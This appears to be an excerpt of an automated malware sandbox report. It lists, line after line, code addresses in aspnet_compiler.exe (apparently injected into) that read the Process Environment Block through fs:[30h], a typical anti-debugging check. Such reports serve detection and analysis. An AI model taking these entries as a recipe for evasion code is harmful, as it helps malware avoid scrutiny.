Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112437C mov eax, dword ptr fs:[00000030h]	5_2_0112437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113F367 mov eax, dword ptr fs:[00000030h]	5_2_0113F367
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01087370 mov eax, dword ptr fs:[00000030h]	5_2_01087370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01087370 mov eax, dword ptr fs:[00000030h]	5_2_01087370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01087370 mov eax, dword ptr fs:[00000030h]	5_2_01087370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A438F mov eax, dword ptr fs:[00000030h]	5_2_010A438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A438F mov eax, dword ptr fs:[00000030h]	5_2_010A438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0115539D mov eax, dword ptr fs:[00000030h]	5_2_0115539D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107E388 mov eax, dword ptr fs:[00000030h]	5_2_0107E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107E388 mov eax, dword ptr fs:[00000030h]	5_2_0107E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107E388 mov eax, dword ptr fs:[00000030h]	5_2_0107E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01078397 mov eax, dword ptr fs:[00000030h]	5_2_01078397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01078397 mov eax, dword ptr fs:[00000030h]	5_2_01078397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01078397 mov eax, dword ptr fs:[00000030h]	5_2_01078397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010D739A mov eax, dword ptr fs:[00000030h]	5_2_010D739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010D739A mov eax, dword ptr fs:[00000030h]	5_2_010D739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B33A0 mov eax, dword ptr fs:[00000030h]	5_2_010B33A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B33A0 mov eax, dword ptr fs:[00000030h]	5_2_010B33A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A33A5 mov eax, dword ptr fs:[00000030h]	5_2_010A33A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113B3D0 mov ecx, dword ptr fs:[00000030h]	5_2_0113B3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A3C0 mov eax, dword ptr fs:[00000030h]	5_2_0108A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A3C0 mov eax, dword ptr fs:[00000030h]	5_2_0108A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A3C0 mov eax, dword ptr fs:[00000030h]	5_2_0108A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A3C0 mov eax, dword ptr fs:[00000030h]	5_2_0108A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A3C0 mov eax, dword ptr fs:[00000030h]	5_2_0108A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A3C0 mov eax, dword ptr fs:[00000030h]	5_2_0108A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010883C0 mov eax, dword ptr fs:[00000030h]	5_2_010883C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010883C0 mov eax, dword ptr fs:[00000030h]	5_2_010883C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010883C0 mov eax, dword ptr fs:[00000030h]	5_2_010883C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010883C0 mov eax, dword ptr fs:[00000030h]	5_2_010883C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113C3CD mov eax, dword ptr fs:[00000030h]	5_2_0113C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010903E9 mov eax, dword ptr fs:[00000030h]	5_2_010903E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010903E9 mov eax, dword ptr fs:[00000030h]	5_2_010903E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010903E9 mov eax, dword ptr fs:[00000030h]	5_2_010903E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010903E9 mov eax, dword ptr fs:[00000030h]	5_2_010903E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010903E9 mov eax, dword ptr fs:[00000030h]	5_2_010903E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010903E9 mov eax, dword ptr fs:[00000030h]	5_2_010903E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010903E9 mov eax, dword ptr fs:[00000030h]	5_2_010903E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010903E9 mov eax, dword ptr fs:[00000030h]	5_2_010903E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011553FC mov eax, dword ptr fs:[00000030h]	5_2_011553FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B63FF mov eax, dword ptr fs:[00000030h]	5_2_010B63FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113F3E6 mov eax, dword ptr fs:[00000030h]	5_2_0113F3E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109E3F0 mov eax, dword ptr fs:[00000030h]	5_2_0109E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109E3F0 mov eax, dword ptr fs:[00000030h]	5_2_0109E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109E3F0 mov eax, dword ptr fs:[00000030h]	5_2_0109E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B7208 mov eax, dword ptr fs:[00000030h]	5_2_010B7208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B7208 mov eax, dword ptr fs:[00000030h]	5_2_010B7208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01155227 mov eax, dword ptr fs:[00000030h]	5_2_01155227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107823B mov eax, dword ptr fs:[00000030h]	5_2_0107823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113B256 mov eax, dword ptr fs:[00000030h]	5_2_0113B256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113B256 mov eax, dword ptr fs:[00000030h]	5_2_0113B256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B724D mov eax, dword ptr fs:[00000030h]	5_2_010B724D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01079240 mov eax, dword ptr fs:[00000030h]	5_2_01079240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01079240 mov eax, dword ptr fs:[00000030h]	5_2_01079240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01086259 mov eax, dword ptr fs:[00000030h]	5_2_01086259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107A250 mov eax, dword ptr fs:[00000030h]	5_2_0107A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274 mov eax, dword ptr fs:[00000030h]	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01084260 mov eax, dword ptr fs:[00000030h]	5_2_01084260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01084260 mov eax, dword ptr fs:[00000030h]	5_2_01084260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01084260 mov eax, dword ptr fs:[00000030h]	5_2_01084260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107826B mov eax, dword ptr fs:[00000030h]	5_2_0107826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C1270 mov eax, dword ptr fs:[00000030h]	5_2_010C1270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C1270 mov eax, dword ptr fs:[00000030h]	5_2_010C1270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A9274 mov eax, dword ptr fs:[00000030h]	5_2_010A9274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114D26B mov eax, dword ptr fs:[00000030h]	5_2_0114D26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114D26B mov eax, dword ptr fs:[00000030h]	5_2_0114D26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE284 mov eax, dword ptr fs:[00000030h]	5_2_010BE284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE284 mov eax, dword ptr fs:[00000030h]	5_2_010BE284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01100283 mov eax, dword ptr fs:[00000030h]	5_2_01100283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01100283 mov eax, dword ptr fs:[00000030h]	5_2_01100283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01100283 mov eax, dword ptr fs:[00000030h]	5_2_01100283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B329E mov eax, dword ptr fs:[00000030h]	5_2_010B329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B329E mov eax, dword ptr fs:[00000030h]	5_2_010B329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01155283 mov eax, dword ptr fs:[00000030h]	5_2_01155283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010902A0 mov eax, dword ptr fs:[00000030h]	5_2_010902A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010902A0 mov eax, dword ptr fs:[00000030h]	5_2_010902A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010952A0 mov eax, dword ptr fs:[00000030h]	5_2_010952A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010952A0 mov eax, dword ptr fs:[00000030h]	5_2_010952A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010952A0 mov eax, dword ptr fs:[00000030h]	5_2_010952A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010952A0 mov eax, dword ptr fs:[00000030h]	5_2_010952A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011092BC mov eax, dword ptr fs:[00000030h]	5_2_011092BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011092BC mov eax, dword ptr fs:[00000030h]	5_2_011092BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011092BC mov ecx, dword ptr fs:[00000030h]	5_2_011092BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011092BC mov ecx, dword ptr fs:[00000030h]	5_2_011092BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011172A0 mov eax, dword ptr fs:[00000030h]	5_2_011172A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011172A0 mov eax, dword ptr fs:[00000030h]	5_2_011172A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011162A0 mov eax, dword ptr fs:[00000030h]	5_2_011162A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011162A0 mov ecx, dword ptr fs:[00000030h]	5_2_011162A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011162A0 mov eax, dword ptr fs:[00000030h]	5_2_011162A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011162A0 mov eax, dword ptr fs:[00000030h]	5_2_011162A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011162A0 mov eax, dword ptr fs:[00000030h]	5_2_011162A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011162A0 mov eax, dword ptr fs:[00000030h]	5_2_011162A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011492A6 mov eax, dword ptr fs:[00000030h]	5_2_011492A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011492A6 mov eax, dword ptr fs:[00000030h]	5_2_011492A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011492A6 mov eax, dword ptr fs:[00000030h]	5_2_011492A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011492A6 mov eax, dword ptr fs:[00000030h]	5_2_011492A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB2C0 mov eax, dword ptr fs:[00000030h]	5_2_010AB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB2C0 mov eax, dword ptr fs:[00000030h]	5_2_010AB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB2C0 mov eax, dword ptr fs:[00000030h]	5_2_010AB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB2C0 mov eax, dword ptr fs:[00000030h]	5_2_010AB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB2C0 mov eax, dword ptr fs:[00000030h]	5_2_010AB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB2C0 mov eax, dword ptr fs:[00000030h]	5_2_010AB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB2C0 mov eax, dword ptr fs:[00000030h]	5_2_010AB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A2C3 mov eax, dword ptr fs:[00000030h]	5_2_0108A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A2C3 mov eax, dword ptr fs:[00000030h]	5_2_0108A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A2C3 mov eax, dword ptr fs:[00000030h]	5_2_0108A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A2C3 mov eax, dword ptr fs:[00000030h]	5_2_0108A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108A2C3 mov eax, dword ptr fs:[00000030h]	5_2_0108A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010892C5 mov eax, dword ptr fs:[00000030h]	5_2_010892C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010892C5 mov eax, dword ptr fs:[00000030h]	5_2_010892C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107B2D3 mov eax, dword ptr fs:[00000030h]	5_2_0107B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107B2D3 mov eax, dword ptr fs:[00000030h]	5_2_0107B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107B2D3 mov eax, dword ptr fs:[00000030h]	5_2_0107B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF2D0 mov eax, dword ptr fs:[00000030h]	5_2_010AF2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF2D0 mov eax, dword ptr fs:[00000030h]	5_2_010AF2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010902E1 mov eax, dword ptr fs:[00000030h]	5_2_010902E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010902E1 mov eax, dword ptr fs:[00000030h]	5_2_010902E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010902E1 mov eax, dword ptr fs:[00000030h]	5_2_010902E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113F2F8 mov eax, dword ptr fs:[00000030h]	5_2_0113F2F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011552E2 mov eax, dword ptr fs:[00000030h]	5_2_011552E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010792FF mov eax, dword ptr fs:[00000030h]	5_2_010792FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED mov eax, dword ptr fs:[00000030h]	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B7505 mov eax, dword ptr fs:[00000030h]	5_2_010B7505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B7505 mov ecx, dword ptr fs:[00000030h]	5_2_010B7505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01154500 mov eax, dword ptr fs:[00000030h]	5_2_01154500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01154500 mov eax, dword ptr fs:[00000030h]	5_2_01154500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01154500 mov eax, dword ptr fs:[00000030h]	5_2_01154500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01154500 mov eax, dword ptr fs:[00000030h]	5_2_01154500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01154500 mov eax, dword ptr fs:[00000030h]	5_2_01154500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01154500 mov eax, dword ptr fs:[00000030h]	5_2_01154500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01154500 mov eax, dword ptr fs:[00000030h]	5_2_01154500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01155537 mov eax, dword ptr fs:[00000030h]	5_2_01155537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE53E mov eax, dword ptr fs:[00000030h]	5_2_010AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE53E mov eax, dword ptr fs:[00000030h]	5_2_010AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE53E mov eax, dword ptr fs:[00000030h]	5_2_010AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE53E mov eax, dword ptr fs:[00000030h]	5_2_010AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AE53E mov eax, dword ptr fs:[00000030h]	5_2_010AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112F525 mov eax, dword ptr fs:[00000030h]	5_2_0112F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112F525 mov eax, dword ptr fs:[00000030h]	5_2_0112F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112F525 mov eax, dword ptr fs:[00000030h]	5_2_0112F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112F525 mov eax, dword ptr fs:[00000030h]	5_2_0112F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112F525 mov eax, dword ptr fs:[00000030h]	5_2_0112F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112F525 mov eax, dword ptr fs:[00000030h]	5_2_0112F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112F525 mov eax, dword ptr fs:[00000030h]	5_2_0112F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BD530 mov eax, dword ptr fs:[00000030h]	5_2_010BD530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BD530 mov eax, dword ptr fs:[00000030h]	5_2_010BD530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090535 mov eax, dword ptr fs:[00000030h]	5_2_01090535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090535 mov eax, dword ptr fs:[00000030h]	5_2_01090535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090535 mov eax, dword ptr fs:[00000030h]	5_2_01090535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090535 mov eax, dword ptr fs:[00000030h]	5_2_01090535
